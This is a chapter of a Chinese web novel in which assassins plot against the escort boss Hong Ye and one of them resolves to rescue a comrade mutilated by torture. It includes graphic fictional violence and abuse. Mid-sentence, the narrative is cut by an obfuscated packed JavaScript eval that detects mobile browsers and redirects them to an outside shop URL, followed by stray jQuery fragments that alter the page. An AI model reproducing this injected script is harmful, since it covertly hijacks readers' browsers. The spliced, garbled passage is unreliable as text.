“青衣姐姐你注意到了吗?那位林夫人。”沈墨同顾青衣照例聚在一处,他把玩着非雨的剑穗。
顾青衣点点头,她怎么可能注意不到呢?这几日夫人她虽一直待在后院,但偶尔得见,却是连走路的姿势都有些不对。但这些事与他们无关,昨夜洪爷亲自下的地牢,出入的人多了,她如今反倒不好进去了。好消息是到现在还没尸体被抬出来,那便是人还活着,只是八成活的生不如死。
“死刑,虐待,还有运人的生意,这位洪爷可真是不地道。”沈墨笑着总结,但另一面他对兄弟又大方,那六人接与他拜了把子,且各个都是好手,若是一直待在他的地盘上,想要刺杀后全身而退真的很难,想把人救出来就更难了。
九爷今日在场,他只照例喝着他的茶,并不多说话,看着像是把机会都留给年轻一辈,可事实上沈墨知道他盯着的是顾青衣的命。
“九爷,您有什么主意?”九爷的资历,当得起顾青衣对他毕恭毕敬,她向他请教时还是十分懂礼数的。
九爷眼皮子跳了跳:“若有重要的镖,他会亲自押解,在半道上行刺会比在他的地界容易的多。”
顾青衣知道他所指为何,根据鸦的消息,洪爷有一单子生意快要上门了。一批突厥奴隶要入境,走他的道儿,把人送到梁王属地。这种单子是不会走官道也不能走正道的,于他们而言便是下手的好机会,只是沈墨当下这样,八成是混不进队伍的,是能尾随伺机了。
沈墨也知道这消息的,留给他在镖局里过家家酒的日子也不多了,虽没什么大不了的,但也多少让人觉得可惜,每个身份都是假的,只是杀手沈墨这个身份,才是属于他的,这样子的人生未免太操蛋了些。
“对了九爷,这单子的雇主到底是谁?”他随口问道,本是不该他知道的事,但他是个好奇心旺盛的主儿,什么都喜欢横插一脚。
阁中老人都觉得,沈墨这样子的人当杀手是不长命的,但他也活蹦乱跳到今天了,还得了阁主青眼,便大部分人只对他睁一只眼闭一只眼了。
九爷斜眼看他,他到现在也没答应他的条件,却也没将这件事透露给顾青衣本人。莫不是对她有感情了?倒也像是沈墨做得出的事,他的性子从来都不适合当杀手。
“想杀他的人多了去了,是谁都不重要。”九爷模棱两可的说到,但这也确实不是假话。
沈墨叹了口气,老狐狸从头到尾没有信任过他一丝一毫,他又怎可能把性命交托给他。
“那凌人萧呢?”这人活这么久了,现在无论如何也是要救的吧,但他得跟镖,得杀人,这事是能顾青衣同九爷去做了,只是放着他两人一起行动,真不知道会是怎样子的结果。
顾青衣对此还是毫无觉察,倒不如说,杀人会招致怨恨,杀人者早晚偿命这些老生常谈的事,她连一刻都不会往这处去想的念头。这种就是就觉得她这样的性格也挺好,身如修罗,不自爱,不自苦,便无心无情,无忧无虑。
“救,洪爷带人离开后我就去救。”这次顾青衣说的十分笃定。
…………
三日前,她下地牢去看过凌人萧,好容易得了机会,她并不能待太久,但好在已经轻车熟路,所以潜入十分顺利。
但是下去后她便心跳的有些空了,地牢里的血腥味比前几日重的多,不祥的预感在心中扩散。她也是往深处去,地上的血便越多,碎肉掺杂断骨,都是从一人身上落下的。
见到凌人萧的时候,顾青衣在那一瞬双腿切切实实的冻住了。
原本他是个狷狂傲慢的人,总是习惯带着几分高傲的姿态挑衅沈墨,可此时此刻他却像一堆被扯烂的破布,瘫在血污与秽物之中。他身上的衣衫早已被血液浸透,看不出原本的颜色,脸色惨白如纸,瘦削见骨。可最令人心惊的是他肩头之下的袖子里,原本该是手臂的地方,如今只剩下一片空空荡荡。
他的双臂已经没有了,只剩下双腿。斩断的刀口并不利落,像是用钝刀一点点挫肉磨骨,伤口血肉模糊、甚至能看见断裂骨茬的截面。这从头到尾都是深深的折磨,没有一丝一毫的痛快。
“凌人萧……”顾青衣觉得自己的嘴有些发干,看着地上昏厥过去的人,她的胸口感到苦闷。也不是没有想过事情会发展成这样子,但真在眼前的时候,她竟然会动摇。
是她的错吗?是……她的错?
因为既没有救他,也没有杀了他,才让他变成了现在这幅模样。
没有希望了,杀了他吧,杀了他!
顾青衣的眼神开始变冷,说到底从被俘开始,凌人萧就已经是黯月阁中的弃子了,现在是她履行司正义务的时候,再恰当不过的时机,冒险救他是完全不值得的。
然而在她向他靠近时,凌人萧还是听出了他的声音,尽管失血和长期的黑暗已经损害了他的视力,他看不见她了,却依旧在向她求救。
“顾司正,救救我……”便是他也还是会求活的,即便成了现在这幅模样。他究竟有没有意识到,他整个人已经毁了、碎了,再也不可能变回原样了。阁中不养闲人,他不一定会被阁主宽仁以待,允许他活下去。甚至救他出地牢这件事都十分艰难。
而这些事,顾青衣分明也清楚,但这一次她放下了杀意:“凌人萧,我救你……无论变成什么样子,我都救你。”
……
沈墨轻轻皱眉,就连他也感觉到了做出这样决定的顾青衣与过去那个有些许不同,那个连半大的孩子都会毫不犹豫下手的人,如今却坚定的选择了救人。
可是已经失去双臂的人,已经被折磨到几乎废掉的人,并不只是值不值得救的问题。他已经不值得了,不能再杀人,不能再为阁主所用,但顾青衣却在此时想他活下去。
“青衣姐姐,他会恨你的。”沈墨轻声说,即便救了凌人萧,也会被他恨一辈子吧。恨为什么不早点救他,恨为什么要让他这样活着。
很多事从最开始救没有选择,没得选择,作为杀手的他们,没有人心才是最好的,可没有人心,又还怎么能算作人呢?
顾青衣眨了眨眼睛,她好像并不理解沈墨的话,亦或者凌人萧是感激还是恨,这些都与她无关,她做事仅凭本心,如果傀还有心的话。
九爷看了顾青衣一眼:“你既然决定了,老头子我肯定帮你。”说着他又看回沈墨。
他懂九爷的意思,不愿意帮就别妨碍,装作不知道的话,就可以同这件事彻底摘干净。她的生死与他无关,她活着反而是日日悬在他头上的铡刀。既然如此,沈墨他又有什么可犹豫的呢?
“青衣姐姐”只是个叫起来顺口的说辞,她并不曾有一刻真正是他的家人,弟弟已经死了,他只剩下娘亲。而他同顾青衣,想要逃离的杀手,和阁主亲自指派的司正,他们永远都只能是水火不容的。
“谢谢,九爷。”顾青衣轻轻点了点头,九爷和沈墨俱都是一愣。这人为何在今夜表现的如此像是一个人,事到如今,一切都是定局,还有什么意义呢?
“就到这里吧。”九爷下了逐客令,他收拾茶碗的动作甚至有些慌乱。
…………
“沈兄弟!”
“沈兄!”
他在镖局近一月,交了两个朋友,李栗、张乐逸都是章武的佃户,小时候力气大,有不愿意种地,出来闯,想靠自己跑营生。他们都把洪爷看做恩人,不管是不是脑袋拴裤腰带上的活计,这没种田累,却还比种田赚的多得多,同村的人都对他们羡慕的紧,越是这样他们就也是崇拜洪爷。
“知道吗?前头来了单大生意,几个镖头都围在那儿呢,不知道这次是什么货,能不能带上我们。”李栗一脸兴奋的说。
张乐逸也是满面红光的:“沈兄弟,要不我们也去同镖头说一声,把你也带上,好兄弟发财要一齐。”
他们心思单纯,对沈墨是真心实意,沈墨对他们却不是。他们认识的,只是那个同他们一样佃户出身,只是小时候没吃没喝的,长大了又瘦又白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020966|192075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只能干些没钱杂活的沈墨。而那个并非真正的他,杀手的那一面,沈墨是不能让任何人知道的。
他作出苦恼的表情:“两位兄弟就别那我说笑了,就我这身板怎么走镖。”
事实上,沈墨不仅要走,还要偷跟在队伍后头,伺机杀了洪达。
“我就说了,沈兄你就不该成日跟这些旧箱子打交道,前头有那么些兵器,你也不去练练。”张乐逸对他这不上进的模样是不爽的,他总劝他去练,却不知道若沈墨真拿起刀剑,在镖局中是几乎没有敌手的。
李栗倒是比他明事理些:“哎,你莫要老劝沈兄弟做他不擅长的事,俺爹就说了,什么三十六行行行都是状元……什么的,他又不爱打架。”
沈墨继续傻笑:“其实两位兄弟,我在镖局干不了几天了。”他语调略一转,便做出一副不舍的模样:“入冬之后要回去准备老祖宗的祭祀了,明年镖局也不一定还有这么好的活儿了呀。”
“这怎么能行,这不是以后头见不到了吗?”李栗听出味儿来,第一反应就是拒绝。
“这不行,绝对不行。”张乐逸连忙摆手,我那十八路棍法还没给沈兄看过呢。
沈墨只笑而不语,两人却开始急了起来,一口一个帮他想办法,问赵管事还有什么活计。其实这里没什么活计是沈墨做不了的,可他什么都不能做,他是被铁链拴住的人。连性命都不是自己的,更遑论选择如何活下去。
自己怎能和这么傻,这么单纯的人成为兄弟呢?不过是逢场作戏罢了,而且很快这场戏也就要结束了。
…………
“去把这个送夫人房间,就在门口,别进去。”冯妈妈交代给顾青衣的,是一碗闻着都发苦的汤药,但顾青衣懂药理,大抵能分辨出这药是壮阳之物。又是些不可说的隐晦,顾青衣面无表情的想。她接过药,什么都没问便去了。
旁人眼里林眉是得宠的妾室,但顾青衣同沈墨一早便看穿了事情满不是那么回事。她时常是会被打的,不止是洪爷会揍她,那几个弟兄也会,不止是揍,其中几人应当是已经成婚了的,但顾青衣却不止一次看见他们从半夜从林眉房间里出来,有时不是一人。
关于洪爷不举这件事,也就他们几个人知道,知道了,没说破,便是洪爷笼络人心的手腕了。
现在看来,是用什么笼络人心的,也可见一斑,无非就是女人和钱。容易满足的人都简单,好搞定,反正付出代价的并非洪爷本人。上一位夫人的死想来并不是疾病,而是身心都遭受虐待。
房间还没入,便听到让人耳闷的声响了:“贱人!我供你吃喝你却连这点小事都做不好。”
顾青衣低下头,只要将毒下在其中,或许此事今晚就可了结,她总是习惯随身带些的。可房间里头不是一个男人,她听音分辨得出人数,一、二、三……足足四个人。甚至可能有人会替他试毒,顾青衣冷冷的想。
她将药放在门口,敲了敲门,里头殴打和谩骂的声音停了那么片刻。
“谁!”问话的人语气听着很凶。
“冯妈妈让送药来给夫人。”顾青衣淡淡道。
洪爷的声音从里头传来:“你走吧,放门口就行。”
顾青衣没再说话,她只慢慢退到墙后的阴影处,隐匿了身形并未走远。
待到外头无声无息时,林夫人房间的门缓缓打开了,女人披着单衣出来,准备把药端进去。她嘴角都破了,脖子上有掐痕,眼睛也哭的又红又肿的。她端药抬头时,也不知是被什么惊动,往阴影处望了一眼。
顾青衣与她对上视线,她做了个噤声的手势,林眉先是惊恐,却又像是意识到什么一般,死命咬住自己的嘴唇,她没惊动任何人,只擦了擦自己的眼泪,便又进了那魔窟里头去。
合上门后,那些刺耳的声音便又传出来了。
沈墨会杀了洪爷的,并不是因为可怜或者同情什么人,也并不是因为他该死,只是因为有人出了钱买他的命,就只是这么简单。